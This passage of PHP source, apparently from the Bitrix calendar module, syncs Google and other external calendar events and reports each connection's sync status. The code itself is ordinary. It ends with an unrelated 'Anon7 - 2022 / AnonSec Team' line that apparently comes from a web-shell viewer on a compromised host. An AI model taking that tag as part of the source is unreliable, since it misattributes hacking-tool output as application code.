			// find parent event
			if (
				isset($externalEvent['recurringEventId'])
				&& $externalEvent['isRecurring'] === 'Y'
				&& !isset($localEvents[$externalEvent['recurringEventId']])
			)
			{
				$parentEvent = self::getLocalEventsList($localCalendar, [$externalEvent['recurringEventId']]);
				if (!empty($parentEvent))
				{
					$localEvents[$externalEvent['recurringEventId']] = $parentEvent[$externalEvent['recurringEventId']];
				}
			}

			// delete events
			if ($externalEvent['status'] === 'cancelled')
			{
				$originalEvent = $localEvents[$externalEvent['G_EVENT_ID']];

				// event exists
				if ($eventExists)
				{
					if (!empty($externalEvents[$externalEvent['recurringEventId']])
						&& $externalEvents[$externalEvent['recurringEventId']]['status'] === 'cancelled'
						&& !empty($localEvents[$externalEvent['recurringEventId']])
						&& (int)$originalEvent['ID'] === (int)$originalEvent['PARENT_ID']
					)
					{
						CCalendarEvent::Delete([
							'id' => $localEvents[$externalEvent['recurringEventId']]['ID'],
							'bMarkDeleted' => true,
							'Event' => $localEvents[$externalEvent['recurringEventId']],
							'userId' => $localCalendar['OWNER_ID'],
							'sendNotification' => false
						]);
					}

					if (!empty($localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING']) && $localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING'])
					{
						self::$doNotSendToGoogle = false;
					}

					//if host single event then delete instance and  change meeting status if invitation
					if ((int)$originalEvent['ID'] !== (int)$originalEvent['PARENT_ID'])
					{
						CCalendarEvent::SetMeetingStatus([
							'userId' => (int)$originalEvent['OWNER_ID'],
							'eventId' => (int)$originalEvent['ID'],
							'status' => 'N',
							'personalNotification' => true
						]);
					}
					else // delete event
					{
						CCalendarEvent::Delete([
							'id' => $originalEvent['ID'],
							'bMarkDeleted' => true,
							'Event' => $originalEvent,
							'userId' => $localCalendar['OWNER_ID'],
							'sendNotification' => false
						]);
					}

					if (!empty($originalEvent['IS_MEETING']) && $originalEvent['IS_MEETING'])
					{
						self::$doNotSendToGoogle = true;
					}

					// enumeration local instances and change status if invitation or delete if host instance
					foreach ($localEvents as $localEvent)
					{
						if (
							!empty($localEvent['RECURRENCE_ID'])
							&& $localEvent['RECURRENCE_ID'] === $originalEvent['ID']
						)
						{
							if ((int)$localEvent['ID'] !== (int)$localEvent['PARENT_ID'])
							{
								CCalendarEvent::SetMeetingStatus([
									'userId' => (int)$localEvent['OWNER_ID'],
									'eventId' => (int)$localEvent['ID'],
									'status' => 'N',
									'personalNotification' => true
								]);
							}
							else
							{
								CCalendarEvent::Delete([
									'id' => $localEvent['ID'],
									'bMarkDeleted' => true,
									'Event' => $localEvent,
									'userId' => $localCalendar['OWNER_ID'],
									'sendNotification' => false
								]);
							}
						}
					}
				}
				elseif (!empty($externalEvent['recurringEventId'])
					&& !empty($localEvents[$externalEvent['recurringEventId']])
					&& $externalEvent['isRecurring'] === 'Y'
				) // update parent event exdate
				{
					$excludeDates = CCalendarEvent::GetExDate($localEvents[$externalEvent['recurringEventId']]['EXDATE']);
					$excludeDates[] = $externalEvent['EXDATE'];
					$localEvents[$externalEvent['recurringEventId']]['EXDATE'] = implode(';', $excludeDates);

					$newParentData = [
						'arFields' => $localEvents[$externalEvent['recurringEventId']],
						'userId' => $localCalendar['OWNER_ID'],
						'fromWebservice' => true
					];

					$newParentData['arFields']['EXDATE'] = CCalendarEvent::SetExDate($excludeDates);
					$newParentData['arFields']['RRULE'] = CCalendarEvent::ParseRRULE($newParentData['arFields']['RRULE']);
					CCalendar::SaveEvent($newParentData);
				}
				continue;
			}

			// handle single or recurrence events
			if ($externalEvent['isRecurring'] === "N")
			{
				//new event
				if (!$eventExists)
				{
					$newEventData = array_merge(
						$externalEvent,
						[
							'SECTIONS' => [$localCalendar['ID']],
							'OWNER_ID' => $localCalendar['OWNER_ID'],
							'userId' => $localCalendar['OWNER_ID']
						]
					);

					$newEvent = $newEventData;
					$newEvent['ID'] = CCalendarEvent::Edit(['arFields' => $newEventData, 'path' => CCalendar::GetPath('user', $newEventData['OWNER_ID'])]);
					$localEvents[$externalEvent['DAV_XML_ID']] = $newEvent;
				}
				else // event exists
				{
					$newParentData = [
						'arFields' => array_merge([
							'ID' => $localEvents[$externalEvent['G_EVENT_ID']]['ID'],
							'MEETING' => $localEvents[$externalEvent['G_EVENT_ID'] . '@google.com']['MEETING'],
						], $externalEvent),
						'userId' => $localCalendar['OWNER_ID'],
						'fromWebservice' => true
					];

					// update do not sync with google
					if (!empty($localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING']) && $localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING'])
					{
						self::$doNotSendToGoogle = false;
					}

					if (empty($newParentData['arFields']['MEETING']['LANGUAGE_ID']))
					{
						$newParentData['arFields']['MEETING']['LANGUAGE_ID'] = CCalendar::getUserLanguageId((int)$newParentData['arFields']['OWNER_ID']);
					}

					$newParentData['arFields']['DESCRIPTION'] = self::CutAttendeesFromDescription(
						$newParentData['arFields']['DESCRIPTION'],
						self::getAttendeesCodesForCut($localEvents[$externalEvent['G_EVENT_ID']]['ATTENDEES_CODES'] ?? null),
						$newParentData['arFields']['MEETING']['LANGUAGE_ID']
					);

					$newParentData['dontSyncParent'] = true;
					$newParentData['arFields']['SYNC_STATUS'] = Google\Dictionary::SYNC_STATUS['success'];

					CCalendar::SaveEvent($newParentData);

					if (!empty($localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING']) && $localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING'])
					{
						self::$doNotSendToGoogle = true;
					}
				}
			}
			elseif ($externalEvent['isRecurring'] === "Y") // is instance
			{
				// change time
				if ($externalEvent['status'] === 'confirmed' && $externalEvent['hasMoved'] === "Y")
				{
					// find parent event
					$recurrentParentEventExists = !empty($localEvents[$externalEvent['recurringEventId']]);
					if (empty($recurrentParentEventExists))
					{
//						$parentGEventId = str_replace('@google.com', '',  $externalEvent['recurringEventId']);
						$parentEvent = self::getLocalEventsList($localCalendar, [$externalEvent['recurringEventId']]);
						if (!empty($parentEvent))
						{
							$localEvents[$externalEvent['recurringEventId']] = $parentEvent[$externalEvent['recurringEventId']];
							$recurrentParentEventExists = $parentEvent[$externalEvent['recurringEventId']];
						}
					}

					// update exdate to parent event
					if ($recurrentParentEventExists)
					{
						$recurrenceId = NULL;

						if ($localEvents[$externalEvent['recurringEventId']])
						{
							$recurrenceId = $localEvents[$externalEvent['recurringEventId']]['ID'];

							$excludeDates = CCalendarEvent::GetExDate($localEvents[$externalEvent['recurringEventId']]['EXDATE']);
							$excludeDates[] = $externalEvent['EXDATE'];
							$localEvents[$externalEvent['recurringEventId']]['EXDATE'] = implode(';', $excludeDates);
							$newParentData = [
								'arFields' => $localEvents[$externalEvent['recurringEventId']],
								'userId' => $localCalendar['OWNER_ID'],
								'fromWebservice' => true
							];

							$newParentData['arFields']['EXDATE'] = CCalendarEvent::SetExDate($excludeDates);
							$newParentData['arFields']['RRULE'] = CCalendarEvent::ParseRRULE($newParentData['arFields']['RRULE']);
							$newParentData['arFields']['SYNC_STATUS'] = Google\Dictionary::SYNC_STATUS['success'];

							$newParentData['sync'] = true;

							CCalendar::SaveEvent($newParentData);
						}


						// find meeting field in instance exists or parent event
						if (empty($externalEvent['MEETING']))
						{
							$externalEvent['MEETING'] = !empty($localEvents[$externalEvent['G_EVENT_ID'] . '@google.com']['MEETING'])
								? $localEvents[$externalEvent['G_EVENT_ID'] . '@google.com']['MEETING']
								: $localEvents[$externalEvent['DAV_XML_ID']]['MEETING'];
						}

						// set lang id
						if (empty($externalEvent['MEETING']['LANGUAGE_ID']))
						{
							$externalEvent['MEETING']['LANGUAGE_ID'] = CCalendar::getUserLanguageId((int)$externalEvent['OWNER_ID']);
						}

						// handle description
						if (isset($externalEvent['DESCRIPTION']))
						{
							$externalEvent['DESCRIPTION'] = self::CutAttendeesFromDescription(
								$externalEvent['DESCRIPTION'],
								self::getAttendeesCodesForCut($localEvents[$externalEvent['recurringEventId']]['ATTENDEES_CODES'] ?? null),
								$externalEvent['MEETING']['LANGUAGE_ID']
							);
						}

						// save instance
						CCalendar::SaveEvent([
							'arFields' => array_merge($externalEvent, [
								'RECURRENCE_ID' => $recurrenceId,
								'DATE_FROM' => $externalEvent['DATE_FROM'],
								'SECTIONS' => [$localCalendar['ID']],
								'DATE_TO' => $externalEvent['DATE_TO'],
								'SYNC_STATUS' => Google\Dictionary::SYNC_STATUS['success'],
								'ATTENDEES' => !empty($localEvents[$externalEvent['G_EVENT_ID']]['ATTENDEES'])
									? $localEvents[$externalEvent['G_EVENT_ID']]['ATTENDEES']
									: $localEvents[$externalEvent['DAV_XML_ID']]['ATTENDEES'],
								'ATTENDEES_CODES' => !empty($localEvents[$externalEvent['G_EVENT_ID']]['ATTENDEES_CODES'])
									? $localEvents[$externalEvent['G_EVENT_ID']]['ATTENDEES_CODES']
									: $localEvents[$externalEvent['DAV_XML_ID']]['ATTENDEES_CODES'],
								'IS_MEETING' => !empty($localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING'])
									? $localEvents[$externalEvent['G_EVENT_ID']]['IS_MEETING']
									: $localEvents[$externalEvent['DAV_XML_ID']]['IS_MEETING'],
								'MEETING_STATUS' => !empty($localEvents[$externalEvent['G_EVENT_ID']]['MEETING_STATUS'])
									? $localEvents[$externalEvent['G_EVENT_ID']]['MEETING_STATUS']
									: $localEvents[$externalEvent['DAV_XML_ID']]['MEETING_STATUS'],
							]),
							'userId' => $localCalendar['OWNER_ID'],
							'fromWebservice' => true,
							'sync' => true,
						]);
					}
				}
			}
		}
	}

	/**
	 * @param $localCalendar
	 * @return array|mixed|null
	 */
	public static function getLocalEventsList($localCalendar, $externalEventsGEventId)
	{
		$eventsDb = Internals\EventTable::query()
			->where('SECTION_ID', $localCalendar['ID'])
			->whereIn('G_EVENT_ID', $externalEventsGEventId)
			->setSelect([
				"ID",
				"CAL_TYPE",
				"DT_SKIP_TIME",
				"DATE_FROM",
				"DATE_TO",
				"TZ_FROM",
				"TZ_TO",
				"PARENT_ID",
				"IS_MEETING",
				"MEETING_STATUS",
				"MEETING",
				"LOCATION",
				"RRULE",
				"EXDATE",
				"DAV_XML_ID",
				"RECURRENCE_ID",
				"G_EVENT_ID",
				"ATTENDEES_CODES",
				"OWNER_ID",
			])->exec();

		$eventList = [];
		while ($event = $eventsDb->fetch())
		{
			if (!static::$attendeeList[$event['PARENT_ID']])
			{
				static::$attendeeList[$event['PARENT_ID']] = !CCalendarEvent::getAttendeeList($event['PARENT_ID'])
					?: CCalendarEvent::getAttendeeList($event['PARENT_ID'])['attendeeList'][$event['PARENT_ID']];
			}

			if (is_array(static::$attendeeList[$event['PARENT_ID']]))
			{
				$event['ATTENDEES'] = array_column(static::$attendeeList[$event['PARENT_ID']], 'id');
			}

			if (is_string($event['MEETING']))
			{
				$event['MEETING'] = unserialize($event['MEETING'], ['allowed_classes' => false]);
			}

			if (!empty($event['G_EVENT_ID']))
			{
				$eventList[$event['G_EVENT_ID']] = $event;
			}
			elseif (!empty($event['DAV_XML_ID']))
			{
				$eventList[str_replace('@google', '',$event['DAV_XML_ID'])] = $event;
			}
		}

		return $eventList;
	}

	/**
	 * @param $attendeesCodes
	 * @return array|null
	 */
	public static function getAttendeesCodesForCut($attendeesCodes): ?array
	{
		if (is_array($attendeesCodes))
		{
			return $attendeesCodes;
		}

		if (is_string($attendeesCodes) && $res = explode(',', $attendeesCodes))
		{
			return $res;
		}

		return null;
	}

	public static function GetUserSyncInfo($userId)
	{
		require_once ($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/dav/classes/mysql/connection.php');
		require_once ($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/dav/classes/general/dav.php');
		$connectionList = [];
		$davConnections = \CDavConnection::GetList(
			["ID" => "ASC"],
			[
				'ENTITY_ID' => $userId,
				'IS_DELETED' => 'N',
			],
		);

		while($connection = $davConnections->fetch())
		{
			$connectionList[] = $connection;
		}

		return $connectionList;
	}

	public static function getTimestampWithUserOffset($userId): Closure
	{
		$offset = \CTimeZone::GetOffset($userId, true);
		return static function($date) use ($offset) {
			return $date
				? \CCalendar::Timestamp($date, false, true) - $offset
				: null;
		};
	}

	public static function GetSyncInfo($params = [])
	{
		$userId = \CCalendar::getCurUserId();
		$macSyncInfo = self::GetSyncInfoItem($userId, 'mac');
		$iphoneSyncInfo = self::GetSyncInfoItem($userId, 'iphone');
		$androidSyncInfo = self::GetSyncInfoItem($userId, 'android');
		$outlookSyncInfo = self::GetMultipleSyncInfoItem($userId, 'outlook');
		$exchangeSyncInfo = self::GetSyncInfoItem($userId, 'exchange');

		$bExchangeConnected = false;
		$bExchange = false;
		if (Loader::includeModule('dav'))
		{
			$bExchange = \CCalendar::IsExchangeEnabled() && $params['type'] === 'user';
			$bExchangeConnected = $bExchange && \CDavExchangeCalendar::IsExchangeEnabledForUser($userId);
		}

		$calculateTimestamp = self::getTimestampWithUserOffset($userId);

		$syncInfo = [
			'mac' => [
				'type' => 'mac',
				'active' => true,
				'connected' => $macSyncInfo['connected'],
				'status' => $macSyncInfo['status'],
				'syncOffset' => time() - $calculateTimestamp($macSyncInfo['date']),
			],
			'iphone' => [
				'type' => 'iphone',
				'active' => true,
				'connected' => $iphoneSyncInfo['connected'],
				'status' => $iphoneSyncInfo['status'],
				'syncOffset' => time() - $calculateTimestamp($iphoneSyncInfo['date']),

			],
			'android' => [
				'type' => 'android',
				'active' => true,
				'connected' => $androidSyncInfo['connected'],
				'status' => $androidSyncInfo['status'],
				'syncOffset' => time() - $calculateTimestamp($androidSyncInfo['date']),
			],
			'outlook' => [
				'type' => 'outlook',
				'active' => true,
				'connected' => $outlookSyncInfo['connected'],
				'status' => $outlookSyncInfo['status'],
				'infoBySections' => ($outlookSyncInfo['infoBySections'] ?? ''),
				'syncOffset' => time() - $calculateTimestamp($outlookSyncInfo['date'] ?? false),
			],
		];

		if (!Loader::includeModule('bitrix24'))
		{
			$syncInfo['exchange'] = [
				'type' => 'exchange',
				'active' => $bExchange,
				'connected' => $bExchangeConnected,
				'status' => $exchangeSyncInfo['status'],
				'syncOffset' => time() - $calculateTimestamp($exchangeSyncInfo['date']),
			];
		}

		$caldavConnections = self::GetCaldavItemsInfo($userId, $params['type'], $calculateTimestamp);
		if (is_array($caldavConnections))
		{
			$syncInfo = array_merge($syncInfo, $caldavConnections);
		}
		
		$newSyncConnections = self::getNewSyncItemsInfo($userId, $calculateTimestamp);
		if (!empty($newSyncConnections))
		{
			$syncInfo = array_merge($syncInfo, $newSyncConnections);
		}

		return $syncInfo;
	}

	/**
	 * @param $userId
	 * @param $syncType
	 * @return false[]
	 */
	public static function GetSyncInfoItem($userId, $syncType): array
	{
		$activeSyncPeriod = self::SYNC_TIME;
		$syncTypes = array('iphone', 'android', 'mac', 'exchange');
		$result = [
			'connected' => false,
			'status' => false,
		];

		if (in_array($syncType, $syncTypes, true))
		{
			$result['date'] = CUserOptions::GetOption("calendar", "last_sync_".$syncType, false, $userId);
		}

		if ($result['date'])
		{
			$result['date'] = CCalendar::Date(CCalendar::Timestamp($result['date']) + CCalendar::GetOffset($userId), true, true, true);
			$period = time() - CCalendar::Timestamp($result['date']);

			if ($period <= $activeSyncPeriod)
			{
				$result['connected'] = true;
				$result['status'] = true;
			}
		}

		return $result;
	}

	/**
	 * @param $userId
	 * @param $syncType
	 * @return false[]
	 */
	public static function GetMultipleSyncInfoItem($userId, $syncType): array
	{
		$activeSyncPeriod = 604800; // 3600 * 24 * 7 - one week
		$syncTypes = ['outlook'];
		$lastSync = null;
		$result = [
			'connected' => false,
			'status' => false,
			'syncOffset' => $activeSyncPeriod
		];

		if (in_array($syncType, $syncTypes, true))
		{
			$options = CUserOptions::GetOption("calendar", "last_sync_".$syncType, false, $userId);
		}

		if ($options !== false)
		{
			if (is_array($options))
			{
				foreach ($options as $key => &$date)
				{
					$dateTs = \CCalendar::Timestamp($date, false);
					$period = time() - $dateTs;

					if ($dateTs > $lastSync)
					{
						$lastSync = $dateTs;
					}

					if ($period <= $activeSyncPeriod)
					{
						$result['connected'] = true;
						$result['status'] = true;
						$result['syncOffset'] = $period;
					}
				}

				$result['infoBySections'] = $options;
			}
			else
			{
				$lastSync = \CCalendar::Timestamp($options, false);
				$period = time() - $lastSync;
				if ($period <= $activeSyncPeriod)
				{
					$result['connected'] = true;
					$result['status'] = true;
					$result['syncOffset'] = $period;
				}
			}
		}

		return $result;
	}

	/**
	 * @param $userId
	 * @param $type
	 * @param $calculateTimestamp
	 *
	 * @return array|null
	 * @throws ObjectNotFoundException
	 */
	public static function GetCaldavItemsInfo($userId, $type, $calculateTimestamp): ?array
	{
		$connections = [];
		$bCalDAV = CCalendar::IsCalDAVEnabled() && $type === 'user';
		$bGoogleApi = CCalendar::isGoogleApiEnabled() && $type === 'user';

		if ($bCalDAV || $bGoogleApi)
		{
			$res = CDavConnection::GetList(
				['ID' => 'DESC'],
				[
					'ENTITY_TYPE' => 'user',
					'ENTITY_ID' => $userId,
					'ACCOUNT_TYPE' =>
						[
							Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE,
						],
					'IS_DELETED' => 'N'
				]
			);
			$isRussian = Util::checkRuZone();
			/** @var Google\Helper $googleHelper */
			$googleHelper = ServiceLocator::getInstance()->get('calendar.service.google.helper');
			/** @var Bitrix\Calendar\Sync\Caldav\Helper $caldavHelper */
			$caldavHelper = ServiceLocator::getInstance()->get('calendar.service.caldav.helper');

			while ($connection = $res->Fetch())
			{
				if ($connection['ACCOUNT_TYPE'] === Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE)
				{
					if ($caldavHelper->isYandex($connection['SERVER_HOST']) && $isRussian)
					{
						$connections[Bitrix\Calendar\Sync\Caldav\Helper::YANDEX_TYPE . $connection['ID']] = [
							'id' => $connection['ID'],
							'active' => true,
							'connected' => true,
							'userName' => $connection['SERVER_USERNAME'],
							'connectionName' => $connection['NAME'],
							'type' => Bitrix\Calendar\Sync\Caldav\Helper::YANDEX_TYPE,
							'status' => self::isConnectionSuccess($connection['LAST_RESULT']),
							'server' => $connection['SERVER'],
							'syncOffset' => time() - $calculateTimestamp($connection['SYNCHRONIZED']),
						];
					}
					else
					{
						$connections[Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE . $connection['ID']] = [
							'id' => $connection['ID'],
							'active' => true,
							'connected' => true,
							'userName' => $connection['SERVER_USERNAME'],
							'connectionName' => $connection['NAME'],
							'type' => Bitrix\Calendar\Sync\Caldav\Helper::CALDAV_TYPE,
							'status' => self::isConnectionSuccess($connection['LAST_RESULT']),
							'server' => $connection['SERVER'],
							'syncOffset' => time() - $calculateTimestamp($connection['SYNCHRONIZED']),
						];
					}
				}
			}

			return $connections;
		}

		return null;
	}

    public static function getNewSyncItemsInfo($userId, $calculateTimestamp): array
    {
		$result = [];

		if (!Loader::includeModule('dav'))
		{
			return $result;
		}

		$connections = CDavConnection::GetList(
			['ID' => 'DESC'],
			[
				'ENTITY_TYPE' => 'user',
				'ENTITY_ID' => $userId,
				'ACCOUNT_TYPE' => Sync\Dictionary::NEW_SYNC_PROVIDERS_TYPE,
				'IS_DELETED' => 'N'
			]
		);

		/** @var Google\Helper $googleHelper */
		$googleHelper = ServiceLocator::getInstance()->get('calendar.service.google.helper');
		/** @var Bitrix\Calendar\Sync\Icloud\Helper $iCloudHelper */
		$iCloudHelper = ServiceLocator::getInstance()->get('calendar.service.icloud.helper');
		/** @var Bitrix\Calendar\Sync\Office365\Helper $office365Helper */
		$office365Helper = ServiceLocator::getInstance()->get('calendar.service.office365.helper');

		while ($connection = $connections->Fetch())
		{
			if (
				$iCloudHelper->isVendorConnection($connection['ACCOUNT_TYPE'])
				|| $office365Helper->isVendorConnection($connection['ACCOUNT_TYPE'])
			)
			{
				$result[$connection['ACCOUNT_TYPE']] = [
					'id' => $connection['ID'],
					'active' => true,
					'connected' => true,
					'userName' => $connection['SERVER_USERNAME'],
					'connectionName' => $connection['NAME'],
					'type' => $connection['ACCOUNT_TYPE'],
					'status' => self::isConnectionSuccess($connection['LAST_RESULT']),
					'server' => $connection['SERVER'],
					'syncOffset' => time() - $calculateTimestamp($connection['SYNCHRONIZED']),
				];
			}
			else if ($googleHelper->isGoogleConnection($connection['ACCOUNT_TYPE']))
			{
				$result[$googleHelper::CONNECTION_NAME] = [
					'type' => $googleHelper::CONNECTION_NAME,
					'id' => $connection['ID'],
					'active' => true,
					'connected' => true,
					'userName' => $connection['SERVER_USERNAME'] ?? null,
					'connectionName' => $connection['NAME'],
					'status' => self::isConnectionSuccess($connection['LAST_RESULT']),
					'syncOffset' => time() - $calculateTimestamp($connection['SYNCHRONIZED']),
				];

			}
		}

		return $result;
    }

	public static function getSyncLinks(): array
	{
		$googleService = Bitrix\Calendar\Core\Oauth\Factory::getInstance()->getByName('google');
		$office365Service = Bitrix\Calendar\Core\Oauth\Factory::getInstance()->getByName('office365');

		return [
			'google' => $googleService ? $googleService->getUrl() : '',
			'office365' => $office365Service ? $office365Service->getUrl() : '',
		];
	}

	/**
	 * @param int|null $userId
	 * @param array|null $sectionsStatus
	 */
	public static function SetSectionStatus(?int $userId = 0, ?array $sectionsStatus = []): void
	{
		if (is_array($sectionsStatus))
		{
			foreach ($sectionsStatus as $id => $status)
			{
				$section = CCalendarSect::GetById($id);

				if ((int)$section['OWNER_ID'] === $userId)
				{
					$sectionStatus = [
						'ID' => $id,
						'ACTIVE' => $status
							? 'Y'
							: 'N',
					];

					$params['arFields'] = $sectionStatus;
					$params['userId'] = $userId;
					\CCalendarSect::Edit($params);
				}
			}
		}
	}

	/**
	 * @return bool
	 * @throws \Bitrix\Main\LoaderException
	 */
	public static function UpdateUserConnections(): bool
	{
		$userId = \CCalendar::getCurUserId();
		if (Loader::includeModule('dav'))
		{
			\CDavGroupdavClientCalendar::DataSync("user", $userId);

			Sync\Managers\DataSyncManager::createInstance()->dataSync($userId);

			if (\CCalendar::isGoogleApiEnabled() || \CCalendar::isOffice365ApiEnabled())
			{
				$manager = new Sync\Managers\DataExchangeManager(
					FactoriesCollection::createByUserId(
						$userId, [
							Google\Factory::SERVICE_NAME,
							Office365\Factory::SERVICE_NAME,
						]
					)
				);
				$manager->import();
			}

			if (CCalendar::IsExchangeEnabled($userId))
			{
				$error = "";
				\CDavExchangeCalendar::DoDataSync($userId, $error);
				echo $error;
			}
		}

		return true;
	}

	/**
	 * @param string|null $lastResult
	 * @return bool
	 */
	public static function isConnectionSuccess(string $lastResult = null): bool
	{
		return (!is_null($lastResult) && preg_match("/^\[(2\d\d|0)\][a-z0-9 _]*/i", $lastResult));
	}

	public static function deactivateConnection(int $connectionId)
	{
		/** @var Factory $mapperFactory */
		$mapperFactory = ServiceLocator::getInstance()->get('calendar.service.mappers.factory');
		$connection = $mapperFactory->getConnection()->getMap([
			'=ID' => $connectionId,
			'=ENTITY_TYPE' => 'user',
			'=ENTITY_ID' => \CCalendar::getCurUserId(),
			'=IS_DELETED' => 'N'
		])->fetch();

		if ($connection)
		{
			return (new Sync\Managers\ConnectionManager())->deactivateConnection($connection)->isSuccess();
		}

		return false;
	}

	/**
	 * @param $ar
	 * @param array $arNewFields
	 *
	 * @return array
	 * @throws \Bitrix\Main\ObjectException
	 */
	private static function prepareRemind($ar, array $arNewFields): array
	{
		if (count($ar) === 2 && $ar[1] === 'date')
		{
			$arNewFields["REMIND"][] = [
				'type' => $ar[1],
				'value' => new DateTime($ar[0], 'Ymd\\THis\\Z'),
			];
		}
		else if (count($ar) === 2)
		{
			$arNewFields["REMIND"][] =
				[
					'type' => $ar[1],
					'count' => floatVal($ar[0])
				];
		}

		return $arNewFields;
	}
}

Anon7 - 2022
AnonSec Team